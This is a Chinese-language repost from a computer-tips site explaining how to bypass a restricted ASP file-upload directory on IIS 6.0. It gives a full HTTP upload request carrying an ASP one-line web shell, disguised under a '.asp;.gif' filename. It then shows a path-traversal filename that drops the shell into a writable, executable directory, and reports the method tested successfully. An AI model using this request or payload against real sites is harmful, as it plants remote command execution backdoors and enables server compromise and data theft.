upfile 又一奇迹般的突破 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    不知道各位,

upfile 又一奇迹般的突破

。在上传的时候。 有没需要过。  一个上传。 不修改名字。。然后上传目录已经被程序所定义了。

    然而。上传目录取消了脚本执行的权限。  我想这里估计大家都要放弃了。

    如何突破呢?其实是可以的.  关键是  [不修改名字]

    先来看看一个上传的数据包:

    POST /fa-bu/upload/upfile1.asp HTTP/1.1

    Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*

    Referer: http://xxxxx/fa-bu/upload/upload.asp

    Accept-Language: zh-cn

    Content-Type: multipart/form-data; boundary=---------------------------7da290150c5e

    Accept-Encoding: gzip, deflate

    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

    Host: xxx.xxxx.xxnet

    Content-Length: 448

    Connection: Keep-Alive

    Cache-Control: no-cache

    Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN

    -----------------------------7da290150c5e

    Content-Disposition: form-data; name="act"

    upload

    -----------------------------7da290150c5e

    Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"

    Content-Type: text/plain

    <%execute(request("cmd"))%>

    -----------------------------7da290150c5e

    Content-Disposition: form-data; name="Submit"

    up

    -----------------------------7da290150c5e--

    关键是 :

    Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"

    我首先呢,

电脑资料

upfile 又一奇迹般的突破》(https://www.unjs.com)。  filename他是如何判断 那个开始就是文件名呢?    他是判断filename里的最右边的一个"\"以后的就是文件名字了。

    大家因该知道。 在windows下  "\" 和 "/" 是不分家的。

    假设上传之后的目录为upload/

    然后一个可以执行可以写的目录为 okokok/

    那么我们只要构造

    Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\./../okokok/111.asp;.gif"

    那么我们上传的文件就成功的传进去了 okokok/111.asp;.gif了。

    突破之!

    PS: win+iis6.0测试成功。

最新文章